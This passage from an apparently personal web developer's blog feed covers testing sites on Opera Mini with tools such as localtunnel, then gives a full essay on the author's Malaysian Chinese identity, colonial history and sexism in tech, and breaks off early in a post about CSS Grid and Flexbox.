&lt;p&gt;My main development browser is Chrome Dev, but the tool I&apos;ve found most indispensable is &lt;a href=&quot;https://browsersync.io&quot;&gt;BrowserSync&lt;/a&gt;. As long as a device is on the same local network, you can view the results of your work incrementally on different browsers, making it easier to resolve cross browser issues as they arise. Much less trouble than trying to solve a plethora of bugs at the end.&lt;/p&gt;
&lt;h3&gt;Opera Mini doesn&apos;t support BrowserSync&lt;/h3&gt;
&lt;p&gt;I just glance at the various browsers open at the same time to check if anything is amiss. Now, the issue with Opera Mini is that BrowserSync doesn&apos;t work on Mini mode. I would think it is due to the proxy behaviour so it means you have to push code to a live server to see how it would render on Opera Mini.&lt;/p&gt;
&lt;p&gt;This may not be the best solution (and I welcome suggestions on better methods) but I use &lt;a href=&quot;http://surge.sh/&quot;&gt;Surge&lt;/a&gt; as my Opera Mini test server. Surge offers free static web publishing via the command line and works really well with a git hook. Here&apos;s their &lt;a href=&quot;http://surge.sh/help/deploying-continuously-using-git-hooks&quot;&gt;documentation&lt;/a&gt;. Because I use &lt;a href=&quot;http://gulpjs.com/&quot;&gt;gulp&lt;/a&gt; as my task runner, I already had a &lt;code&gt;package.json&lt;/code&gt; file anyway. Once I pushed my code, I could load the test version on Surge on Opera Mini to see how it looked.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: I have since read Bruce Lawson&apos;s article on &lt;a href=&quot;https://dev.opera.com/articles/making-sites-work-opera-mini/&quot;&gt;Making websites that work well on Opera Mini&lt;/a&gt; and in there are excellent solutions for local development with Opera Mini, as follows&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;There are other options like &lt;a href=&quot;https://localtunnel.github.io/www/&quot;&gt;localtunnel&lt;/a&gt;, which assigns a uniquely publicly accessible URL that proxies all requests to your locally running web server. The URL remains accessible as long as localtunnel and your local web server is running.&lt;/p&gt;
&lt;p&gt;To install it, run the following to install it globally:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm install -g localtunnel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, use the following command to request a tunnel to your locally running web server (change the port number to whichever you&apos;re using):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;lt --port 8000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I coupled this with &lt;a href=&quot;https://github.com/gtanner/qrcode-terminal&quot;&gt;qrcode-terminal&lt;/a&gt;, because I&apos;m a lazy sloth. ICYMI, Opera Mini comes with a QR code scanner, folks! So after you get a URL generated by localtunnel, you can run the following in another terminal window to get a QR code of the URL, freeing you of the need to type a long, meaningless URL on your phone.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;qrcode-terminal &apos;GENERATED_URL_GOES_HERE&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is also &lt;a href=&quot;https://ngrok.com/&quot;&gt;ngrok&lt;/a&gt;, which comes with more features than localtunnel, like allowing you to inspect your traffic, a real-time web UI and so on. I didn&apos;t try this myself, but this seems like a good solid option as well.&lt;/p&gt;
&lt;h3&gt;IE11 versus Opera Mini&lt;/h3&gt;
&lt;p&gt;This is the part where decisions need to be made. Building &lt;a href=&quot;http://penang-hokkien.gitlab.io/&quot;&gt;Penang Hokkien&lt;/a&gt; was quite the experience for me because there were quite a few CSS features that didn&apos;t play nice across browsers. My language switcher made use of the checkbox hack, which didn&apos;t play well with Opera Mini. And &lt;code&gt;writing-mode&lt;/code&gt; isn&apos;t supported either.&lt;/p&gt;
&lt;p&gt;But I wasn&apos;t trying to make the Opera Mini site look like how it would on a full-featured browser, I just needed the content to be readable. Opera Mini does not support CSS gradients, which were what my language toggle used. Since the checkbox hack was wonky on Opera Mini to begin with, I turned it off altogether.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@supports (background-image: linear-gradient(to bottom, #f4f1ee, #fff)) {
  /* relevant styles here */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That approach would also turn off the language switcher feature from IE11, because it does not support feature queries, the entire code block is ignored. What is left is that both the Chinese content and English content would be displayed at the same time for Opera Mini and IE11. That&apos;s a decision I could live with.&lt;/p&gt;
&lt;p&gt;If you look at my &lt;a href=&quot;https://gitlab.com/penang-hokkien/penang-hokkien.gitlab.io&quot;&gt;source code&lt;/a&gt;, you will notice lots of browser hacks here and there. This is largely due to the fact that there are still a bunch of &lt;code&gt;writing-mode&lt;/code&gt; bugs in different browsers. I have styles that are Firefox-specific, Edge-specific, IE11-specific and so on. Is it more code? Yes. I cannot deny that. But at least I get to use the latest CSS features and stil deliver a readable experience to browsers that don&apos;t support them.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;It doesn&apos;t look great, but all the content is readable&lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/opera-mini/opera-mini.png&quot;
    srcset=&quot;/images/posts/opera-mini/opera-mini@2x.png 2x&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;There isn&apos;t really a prescribed way to go about developing for cross-browser compatibility. My take is, at least take the time to try out a variety of methods and settle into a workflow you&apos;re most comfortable with. I like using gulp with BrowserSync, you may like something else, and that&apos;s perfectly fine.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;The World Wide Web was originally created as a means for researchers to share information more easily. The concept of information sharing has never wavered over the years. But it is incumbent upon those of us who build for the web to ensure that we aren&apos;t hindering access to information because it is “too much trouble”.&lt;/p&gt;
&lt;p&gt;I understand the rationale behind using existing data to determine what browsers you want to support, but sometimes I wonder if doing so results in a cycle of exclusion. That less users of certain browsers visit a site because it doesn&apos;t seem to work right, which makes the developers think it&apos;s not necessary to support that tiny segment anyway. Feels like a death spiral to me.&lt;/p&gt;
&lt;p&gt;For sites where the value is in its content, blogs with tutorials, news and articles, I think it&apos;s necessary to make sure your content is still accessible under the most hostile conditions. In the grand scheme of things, it&apos;s really not that hard. Hard is being a refugee fleeing from war, hard is being a migrant worker earning a pittance to support a large family back home, hard is living in fear of being persecuted and attacked because of your faith or race.&lt;/p&gt;
&lt;p&gt;No, what we get to do for a living, is a blessing. And making valuable information accessible is the least we can do to help make the world a better place.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://dev.opera.com/articles/browsers-modes-engines/&quot;&gt;Opera Browsers, Modes &amp;amp; Engines&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://dev.opera.com/articles/opera-mini-and-javascript/&quot;&gt;Opera Mini and JavaScript&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/webinista&quot;&gt;Tiffany Brown&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.opera.com/help/mini/android#secure&quot;&gt;Is Opera Mini secure?&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.smashingmagazine.com/2017/03/world-wide-web-not-wealthy-western-web-part-1/&quot;&gt;World Wide Web, Not Wealthy Western Web (Part 1)&lt;/a&gt; by &lt;a href=&quot;http://www.brucelawson.co.uk/&quot;&gt;Bruce Lawson&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://dev.opera.com/articles/making-sites-work-opera-mini/&quot;&gt;Making websites that work well on Opera Mini&lt;/a&gt; by &lt;a href=&quot;http://www.brucelawson.co.uk/&quot;&gt;Bruce Lawson&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://hacks.mozilla.org/2017/03/doubling-down-on-cross-browser-testing/&quot;&gt;Doubling Down on Cross-Browser Testing&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>How a CSS property made me think about my identity</title><link>https://chenhuijing.com/blog/css-writing-mode-personal-identity/</link><guid isPermaLink="true">https://chenhuijing.com/blog/css-writing-mode-personal-identity/</guid><description>I was born in Malaysia, a Southeast-Asian country made up of the southern portion of the Malay Peninsula and part of the island of Borneo. Ethnically, I am…</description><pubDate>Mon, 06 Mar 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I was born in Malaysia, a Southeast-Asian country made up of the southern portion of the Malay Peninsula and part of the island of Borneo. Ethnically, I am Chinese, and if I&apos;m not mistaken, my ancestors migrated from the Fujian Province in China three generations ago and settled in Penang. My family then moved south to Johor when I was 3, and my childhood was split between Singapore and Malaysia. I lived in Johor and commuted to Singapore for school every day. I now live and work in Singapore.&lt;/p&gt;
&lt;p&gt;If you were keeping track, that paragraph mentioned four different geographical locations. When someone asks me, where are you from? The answer varies depending on who is asking and my mood at the time. Sometimes I&apos;m from Penang, sometimes I&apos;m from Johor, sometimes I&apos;m from Singapore. Singapore and Malaysia are not very big countries, and I&apos;ve encountered quite a lot of people outside of Southeast Asia who don&apos;t know where we are.&lt;/p&gt;
&lt;p&gt;I happen to be a front-end developer who loves experimenting with CSS. The way CSS works just makes sense to me, even if some people beg to differ. Late last year, I started experimenting with a particular property called &lt;code&gt;writing-mode&lt;/code&gt; which allowed text to be laid out vertically. There aren&apos;t that many vertical scripts in the world, but I happen to know one of them.&lt;/p&gt;
&lt;p&gt;Chinese, I&apos;m talking about Chinese.&lt;/p&gt;
&lt;p&gt;At the time I was just trying to find out why Chinese was written vertically but ended up learning a lot more about the Chinese language and Chinese culture in general than I ever learned in school. I&apos;ve always found language intriguing.&lt;/p&gt;
&lt;p&gt;In my mind, language is how something ethereal and intangible like an idea becomes real. It solidifies thought into something physical. And what I realised is that a language is intrinsically tied in with the culture that uses it.&lt;/p&gt;
&lt;p&gt;There was one line from &lt;a href=&quot;http://moonlight.movie/&quot;&gt;Moonlight&lt;/a&gt; that stuck with me. It was when Kevin asked Chiron, “Who is you?” It made me ask myself that question, and made me think about all the ways we categorise ourselves and others.&lt;/p&gt;
&lt;p&gt;In his book &lt;a href=&quot;http://web.archive.org/web/20170306014925/http://www.ynharari.com/book/sapiens/&quot;&gt;Sapiens: A Brief History of Humankind&lt;/a&gt;, Yuval Noah Harari proposes the idea that Homo sapiens rule the world because of our unique ability to believe in things that only exist in our imaginations. It is an idea that resonated with me.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;All societies are based on imagined hierarchies, but not necessarily on the same hierarchies. [...] In most cases the hierarchy originated as the result of a set of accidental historical circumstances and was then perpetuated and refined over many generations as different groups developed vested interests in it.&lt;br&gt;
— Yuval Noah Harari&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Human beings seem to have an inherent need to be part of a group. It probably stems from the fact that we aren&apos;t built to survive on our own. Newborn human babies are among the most useless creatures in terms of ability to stay alive. Our relatively large brain size requires the infant to be born before it can no longer fit through the birth canal. And requires extra care from adult humans to nurture their offspring to a state where they can care for themselves.&lt;/p&gt;
&lt;p&gt;Between this phenomena and our penchant for believing in shared myths, we managed to build societies and cultures. The tricky part about these shared myths is that they are dependent on a collective belief in what Harari refers to as an imagined order, an inter-subjective order.&lt;/p&gt;
&lt;p&gt;This means it exists in the imaginations of so many people that any one individual cannot hope to alter it on their own. Even if he or she stops believing, it will make little difference in the grand scheme of things. Only a cataclysmic event can change an existing imagined order, and even then, it will only result in the belief of an alternative imagined order.&lt;/p&gt;
&lt;p class=&quot;sp-font&quot;&gt;Who is you?&lt;/p&gt; 
&lt;p&gt;Our world functions in a certain way, but why did it turn out like this? I have a simplistic theory about the behaviour of humans. If we can broadly categorise people into leaders and followers, in order to have large, organised societies, it is simply not feasible to have a majority of leaders. A possible scenario could be that leader-type individuals just fought each other to death, leaving much fewer but “strongest” leaders.&lt;/p&gt;
&lt;p&gt;They could be physically strong, particularly charismatic, exceptionally wise or all these things. On the flip-side, follower-types would make a decision on who was the “best” leader to follow, shaping up a society that had a large ratio of followers to leaders.&lt;/p&gt;
&lt;p&gt;When I was a kid, I used to think history was fact. That whatever we learned in school was the way things played out. I mean, you can&apos;t change events that happened, right? But you can change the way the story is told.&lt;/p&gt;
&lt;p&gt;I realised much later that history is written by people, and people have opinions and biases and different perspectives depending on which side they were on. What we learn in school is, to a certain extent, coloured by political purpose. Turns out there are many different versions of history depending on where you are in the world.&lt;/p&gt;
&lt;p&gt;Even though most historical events can be corroborated by different parties, there are some events where either side paint very different pictures of what actually happened. I came to the conclusion that war is the result of a small number of influential people, leaders, if you may, somehow managing to compel huge numbers of followers to take action. Often brutal actions, for the sake of an idea. The idea of glory, the idea of economic gain, the idea of righteousness, the idea of us versus them.&lt;/p&gt;
&lt;p&gt;Shashi Tharoor, former Under-Secretary-General of the United Nations and member of the Indian National Congress, pointed out how little the new generation of British youth knew about colonial atrocities in &lt;a href=&quot;http://web.archive.org/web/20170303021328/https://www.channel4.com/news/mp-shashi-tharoor-on-the-consequences-of-britains-imperial-past&quot;&gt;an interview on Channel 4 News&lt;/a&gt;. He makes it clear that even though events of the past should not affect today&apos;s relations between India and Britain, it is necessary to be aware of history.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you don’t know where you’ve come from, how will you appreciate where you’re going?&lt;br&gt;
— Shashi Tharoor&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In a world that plays by Western rules, is it any surprise that there is only one non-Western country that is classified as a developed nation? Capitalism is a Western economic system that has become the de facto global standard. This is the most epic shared myth in human history. The world today is driven by economic growth as the ultimate goal of every nation state.&lt;/p&gt;
&lt;p&gt;We all perceive the world and our place in it differently. And these are my views of the world and my place in it, formed as a result of my personal experiences. You will have your own views and opinions, which may or may not disagree with mine.&lt;/p&gt;
&lt;p class=&quot;sp-font&quot;&gt;Who is you?&lt;/p&gt; 
&lt;p&gt;I am Malaysian.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://web.archive.org/web/20170301070440/https://medium.com/@theonlytoby/history-tells-us-what-will-happen-next-with-brexit-trump-a3fefd154714&quot;&gt;Tobias Stone&lt;/a&gt; proposed that most peoples&apos; perspective is limited to the experience communicated by their parents and grandparents, around 50–100 years. So let&apos;s talk about 50–100 years ago from my perspective. My grandmother lived through World War II in Penang.&lt;/p&gt;
&lt;p&gt;Even though it was called World War II, I came to understand that the war was very different depending on which region you came from. Malaysia and Singapore were ravaged by the war, under Japanese occupation from 1941 to 1945, especially in Penang and Singapore.&lt;/p&gt;
&lt;p&gt;The Japanese were particularly brutal toward the Chinese. Penang and Singapore had the largest Chinese populations in Malaya, and still are predominantly Chinese today. My grandmother told me many stories about her experiences during the war.&lt;/p&gt;
&lt;p&gt;About her brother who got caught by Japanese soldiers and subjected to water cure torture, but managed to make it back, barely alive. About another brother who took cover in a large drain when the Japanese planes started raining bullets and came home covered in the blood of those who were felled on top of him.&lt;/p&gt;
&lt;p&gt;About how she and her sisters narrowly escaped, purely by luck, capture by Japanese soldiers looking for comfort women. Because they decided to move to another location, leaving only two men at home that night.&lt;/p&gt;
&lt;p&gt;About when the bombs started falling, and people gathered in a sheltered market with thick, heavy doors for cover. But the bomb blast threw open the doors anyway, and everyone scrambled to shut the doors again.&lt;/p&gt;
&lt;p&gt;About how they thought the fighter planes flying overhead were British reinforcements but realised something was very wrong when bombs started falling. The British had long abandoned Penang when they realised they couldn&apos;t win, leaving the local population to fend for ourselves.&lt;/p&gt;
&lt;p class=&quot;sp-font&quot;&gt;Who is you?&lt;/p&gt; 
&lt;p&gt;I am Asian.&lt;/p&gt;
&lt;p&gt;Over human history, empires have risen and fallen. As the human population grew, so did the size of each subsequent empire. As human technology advanced, it became possible to have control over larger and larger territories. &lt;a href=&quot;http://web.archive.org/web/20161122055852/http://www.davidrumsey.com/luna/servlet/detail/RUMSEY~8~1~200375~3001080:The-Histomap-&quot;&gt;The Histomap&lt;/a&gt; is a visual representation of the relative power of contemporary states, nations and empires over 4000 years.&lt;/p&gt;
&lt;p&gt;The world is currently organised into nation states. But even so, global interconnectedness seems to have reached a point where we are now living in a global empire of sorts. A few centuries of European colonialism has led us to a point where in 2017, the world is dominated by Western culture. There are many factors that collectively led to this outcome, but this is the world we live in now.&lt;/p&gt;
&lt;p&gt;Western civilisation has had significant impact on Eastern ideology and way of life. Tara Chand, describes the contrast between both cultures on how they view nature, science and philosophy, in &lt;a href=&quot;https://web.archive.org/web/20170306071238/http://unesdoc.unesco.org/images/0004/000412/041286eo.pdf&quot;&gt;his article&lt;/a&gt; published in the International Social Science Bulletin.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Science is of course the lifebreath of the civilization of the West, and is the chief determinant of Western man&apos;s values and destiny. The triumphant march of science in the West is,
to an increasing degree, extorting Asia&apos;s admiration and homage.&lt;br&gt;
—Tara Chand&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;One of the most significant impacts of westernisation on the world is that we now measure progress and achievement with a western yardstick. The &lt;em&gt;Scientific Revolution&lt;/em&gt; was the period around 1550–1700 when Europe experienced significant change in terms of thought and belief, as well as social and institutional organisation. And the period ensuing was known as the &lt;em&gt;Age of Enlightenment&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nathan Savin &lt;a href=&quot;https://web.archive.org/web/20160304083924/http://ccat.sas.upenn.edu/~nsivin/scirev.pdf&quot;&gt;questions the assumptions&lt;/a&gt; behind the question &lt;em&gt;Why the Scientific Revolution did not take place in China?&lt;/em&gt; He points out that there are certain Western assumptions with regards to the Scientific Revolution that people are not comfortable with challenging.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;These assumptions are usually linked to a faith that European civilization—above all in its current American form—was somehow in touch with reality in a way no other civilization could be, and that its great share of the world’s wealth and power comes
from some intrinsic fitness to inherit the earth that was there all along.&lt;br&gt;
—Nathan Savin&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tara Chand describes Gandhi as a person who accepted spiritual values from the East, as well as the Western concepts of freedom, equality and nationalism purged of its exclusiveness and chauvinism. A man who accepted science within limits yet did not worship it, who “was rational and critical up to a point, beyond which he accepted only the guidance of his inner voice.” Is it too idealistic to hope for a global culture that marries the best of both worlds?&lt;/p&gt;
&lt;p class=&quot;sp-font&quot;&gt;Who is you?&lt;/p&gt; 
&lt;p&gt;I am Chinese.&lt;/p&gt;
&lt;p&gt;In my eyes, the world we live in right now, is a white man&apos;s world. It&apos;s not so much about ethnicity, but rather, race. Race itself is a classification system invented by European anthropologists like Johann Friedrich Blumenbach to identify the groups of people that looked different from themselves, based on physical characteristics.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20170216234649/http://onlinelibrary.wiley.com/doi/10.1002/ajpa.23120/full&quot;&gt;A survey&lt;/a&gt; published in the American Journal of Physical Anthropology revealed a clear consensus among modern anthropologists that races are arbitrary, but racial privilege affects anthropologists&apos; views on race. I can&apos;t be too surprised by this, given that power has generally been in the hands of white men.&lt;/p&gt;
&lt;p&gt;Global interconnectedness has brought western culture to all corners of the planet. Even though many non-western countries have held onto their own culture, we cannot deny the fact that western ideals have permeated our societies. Just look at these &lt;a href=&quot;https://www.wired.com/2017/02/tim-fenby-made-in-china/&quot;&gt;Euro-themed towns in Shanghai&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There is even a Chinese phrase, 崇洋媚外, that translates into having a servile attitude towards all things Western. Even though this is probably not the prevailing attitude of most Chinese (that I know of), the fact that we have this specialised phrase says something.&lt;/p&gt;
&lt;p&gt;Personally, I had been exposed to both Western and Eastern culture in equal parts growing up. As mentioned previously, both Singapore and Malaysia are relatively small countries with limited influence on a global stage. We know who the big countries are, but sometimes people in those countries don&apos;t necessarily know who we are.&lt;/p&gt;
&lt;p&gt;I have met people who cannot seem to comprehend that I can be Chinese and yet not from China. And that when I say I am Malaysian, they think it means I am Malay. That&apos;s not how it works. Thankfully, this is a rare occurrence. I suppose the concept of immigration is foreign to some people.&lt;/p&gt;
&lt;p class=&quot;sp-font&quot;&gt;Who is you?&lt;/p&gt; 
&lt;p&gt;I am female.&lt;/p&gt;
&lt;p&gt;A &lt;a href=&quot;https://web.archive.org/web/20151106074749/http://www.econ.ku.dk/mehr/calendar/seminars/30112012/Hansen_et_al___2012__pdf.pdf&quot;&gt;research paper&lt;/a&gt; investigating gender roles and agricultural history proposed that societies with a long agricultural history develop less equality in gender roles due to a prevalence of patriarchal values and beliefs.&lt;/p&gt;
&lt;p&gt;As neolithic societies transitioned from Hunter-Gatherer to agricultural, a premium was placed on the physical strength of men working in the fields. This shifted the division of labour, reducing the “economic viability” of women in society. This historical circumstance has been perpetuated over thousands of years.&lt;/p&gt;
&lt;p&gt;Look at the Forbes&apos; 2016 &lt;a href=&quot;https://www.forbes.com/powerful-people/#33124e244d7e&quot;&gt;list of most powerful people&lt;/a&gt;. Out of the 74, only 6 are women. &lt;a href=&quot;https://web.archive.org/web/20160517222044/http://www.nytimes.com/2015/03/03/upshot/fewer-women-run-big-companies-than-men-named-john.html?&quot;&gt;Fewer women run big companies&lt;/a&gt; than men named John or David. Two-thirds of the world&apos;s illiterate population are women. &lt;a href=&quot;https://web.archive.org/web/20170128122015/http://www.girlsnotbrides.org/where-does-it-happen/&quot;&gt;Child marriage&lt;/a&gt;, which essentially robs girls of their freedoms and restricts their rights to health, education and opportunity, is still a global issue. &lt;a href=&quot;https://web.archive.org/web/20170222121708/http://www.who.int/mediacentre/factsheets/fs239/en/&quot;&gt;35% of women worldwide&lt;/a&gt; have experienced either physical and/or sexual intimate partner violence or non-partner sexual violence in their lifetime.&lt;/p&gt;
&lt;p&gt;I am not surprised when my friends tell me about how they get “mansplained” to by male colleagues. I am not surprised when I hear stories of how female developers who have been writing and speaking about certain technologies or technical concepts for years fail to get recognised.&lt;/p&gt;
&lt;p&gt;And yet, when a white, male engineer discovers said topic and speaks or writes about it for the first time, he immediately becomes lauded and viewed as a subject matter expert. Reports of the sexism faced by female engineers like &lt;a href=&quot;https://web.archive.org/web/20170301000141/https://www.theguardian.com/technology/2017/feb/28/tesla-female-engineer-lawsuit-harassment-discrimination&quot;&gt;AJ Vandermeyden&lt;/a&gt;, &lt;a href=&quot;https://web.archive.org/web/20170305113338/https://www.susanjfowler.com/blog/2017/2/19/reflecting-on-one-very-strange-year-at-uber&quot;&gt;Susan J. Fowler&lt;/a&gt; and &lt;a href=&quot;https://web.archive.org/web/20170221102727/https://techcrunch.com/2014/03/15/julie-ann-horvath-describes-sexism-and-intimidation-behind-her-github-exit/&quot;&gt;Julie Ann Horvath&lt;/a&gt; still occur on a daily basis.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We have not inherited this earth from our parents to do with it what we will. We have borrowed it from our children and we must be careful to use it in their interests as well as our own.&lt;br&gt;
—Moses Henry “Moss” Cass&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Just because something has “always been this way” doesn&apos;t mean it&apos;s always right. Yes, there is wisdom that we can learn from ancestors past, but I think it is crucial to constantly revisit the rationale behind our societal norms.&lt;/p&gt;
&lt;p&gt;Our actions today will determine the state of the world tomorrow, regardless of how small they might be. Like calling out instances of sexism you encounter, sometimes the person themselves might not be aware of what they&apos;re doing. Recognising and supporting the achievements of women, even if it&apos;s just a shout-out on Twitter, counts. Because visibility and representation matters more than you think.&lt;/p&gt;
&lt;p class=&quot;sp-font&quot;&gt;Who is you?&lt;/p&gt; 
&lt;p&gt;What you believe in determines who you are. Beliefs will ultimately shape our behaviour, and our impact on the people and world around us. But I also think that our beliefs can change as we accumulate life experiences. I have a couple of beliefs governing how I lead my life at the moment.&lt;/p&gt;
&lt;p&gt;I believe that hard work does not guarantee success, it merely increases the probability of success. Does that imply we should not work hard? Of course not! Does that mean we should work harder and harder? We-ll, you could but I probably wouldn&apos;t.&lt;/p&gt;
&lt;p&gt;My take on this belief is that it&apos;s better to learn to appreciate the process than to fixate on the results. Because the working hard part is something I can control, but the success part is not.&lt;/p&gt;
&lt;p&gt;I also believe in karma. What can I say, I&apos;m Asian. Don&apos;t be a horrible person, don&apos;t intentionally harm anybody, and be nice to people, even if sometimes, people are not very nice to you. Look, the world is not fair. We don&apos;t all start off on equal footing. Nobody asked to be born in war-torn Syria.&lt;/p&gt;
&lt;p&gt;Those of us who were born closer to the finish line cannot just finish the race and be proud of ourselves when others had to start off from much further behind us. It is incumbent upon us to lend a helping hand where we can, it&apos;s a human duty. So just do it.&lt;/p&gt;
&lt;p&gt;Take this as a naval-gazing post if you must, but sometimes words just have to be written. If you got this far, I applaud and appreciate your attention span. I will leave with this quote from one of &lt;a href=&quot;https://beyondtellerrand.com/events/berlin-2016/speakers/mike-monteiro&quot;&gt;my favourite talks&lt;/a&gt; by Mike Monteiro. Stay safe, all.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The world is generally changed by people who just want to live out their ordinary lives by people who are just trying to get home.&lt;br&gt;
—Mike Monteiro&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Grid + Flexbox: the best 1-2 punch in web layout</title><link>https://chenhuijing.com/blog/css-grid-flexbox-combo/</link><guid isPermaLink="true">https://chenhuijing.com/blog/css-grid-flexbox-combo/</guid><description>This article has been translated to French by Pierre Choffé on La Cascade. We&apos;re 5 days away from the stable release of Firefox 52. Do you know what this…</description><pubDate>Thu, 02 Mar 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This article has been translated to French by &lt;a href=&quot;https://twitter.com/pierrechoffe&quot;&gt;Pierre Choffé&lt;/a&gt; on &lt;a href=&quot;https://la-cascade.io/articles/grid-et-flexbox-le-duo-gagnant&quot;&gt;La Cascade&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;We&apos;re 5 days away from the stable release of Firefox 52. Do you know what this means? This means in 5 days, CSS Grids will be supported, And Chrome 57 will follow close behind on March 14, then Safari 10.1 and hopefully Edge, before the end of 2017.&lt;/p&gt;
&lt;p&gt;I&apos;m so excited.&lt;/p&gt;
&lt;p&gt;Can you tell how excited I am? Maybe some emojis can help convey the message. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;confetti ball&quot;&gt;🎊&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;party popper&quot;&gt;🎉&lt;/span&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person dancing&quot;&gt;💃&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;My deep dive into CSS grid&lt;/h2&gt;
&lt;p&gt;Remember when &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt; answered the question of &lt;a href=&quot;https://youtu.be/MXEzJ-IncX0?t=1274&quot;&gt;whether we should use Flexbox or Grid?&lt;/a&gt; No? Watch the video then.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Flexbox for 1 dimensional layout. CSS Grid is for 2 dimensional layout.&lt;br&gt;
— Rachel Andrew&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I&apos;m sure smarter people than me have this figured out by now but until my recent month-long torrid affair with CSS Grid, I didn&apos;t realise how well Flexbox and Grid went together. It was like peanut butter and jelly, or apples and cinnamon, or bacon and eggs. Oh my gosh, I&apos;m getting hungry.&lt;/p&gt;
&lt;p&gt;Some of you may have noticed that I&apos;ve started contributing to &lt;a href=&quot;https://tympanus.net/codrops/css_reference/&quot;&gt;Codrops CSS Reference&lt;/a&gt;. It&apos;s seriously one of the best things that happened to me in 2016, I might write about it. Or not. We&apos;ll see. One of the pending entries on the list was for CSS Grid. Before I started writing that entry, I had only played around a little bit with Grid, and built a prototype version of &lt;a href=&quot;http://penang-hokkien.gitlab.io/&quot;&gt;Penang Hokkien&lt;/a&gt; using Grid just to see if it would play better with vertical writing-mode than Flexbox.&lt;/p&gt;
&lt;p&gt;Then I sat down and wrote the entry.&lt;/p&gt;
&lt;p&gt;3 weeks later, I felt like I had fused with a max-level &lt;a href=&quot;http://exvius.gamepedia.com/Metal_Cactuar&quot;&gt;Metal Cactuar&lt;/a&gt; (that&apos;s a Final Fantasy Brave Exvius reference, I can&apos;t help it, Final Fantasy is a thing in my life &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;), in other words, it was a major levelling-up. I spent a lot of time with the actual specification, all 86 pages of it (according to my print settings).&lt;/p&gt;
&lt;p&gt;There were also the &lt;a href=&quot;https://blogs.igalia.com/mrego/&quot;&gt;CSS Grid articles&lt;/a&gt; written by &lt;a href=&quot;https://twitter.com/regocas&quot;&gt;Manuel Rego Casasnovas&lt;/a&gt; which really dive into specific features of Grid, like positioned items, grid layout placement and auto-placement. And Rachel Andrew&apos;s &lt;a href=&quot;https://rachelandrew.co.uk/css/cheatsheets/box-alignment&quot;&gt;Box Alignment Cheatsheet&lt;/a&gt; was such a life-saver, because another resource I was using had the axes mixed up, making me extremely confused for a few days.&lt;/p&gt;
&lt;p&gt;Here&apos;s my tip. When trying to learn any CSS property, have a &lt;a href=&quot;https://github.com/huijing/blank-html5&quot;&gt;blank HTML template&lt;/a&gt; on hand so you can play around in a clean sandbox environment. This was especially useful for a new feature like Grid. I know we have Codepen and all, but I like a blank slate for distraction-free experimentation.&lt;/p&gt;
&lt;h2&gt;Examples and demos&lt;/h2&gt;
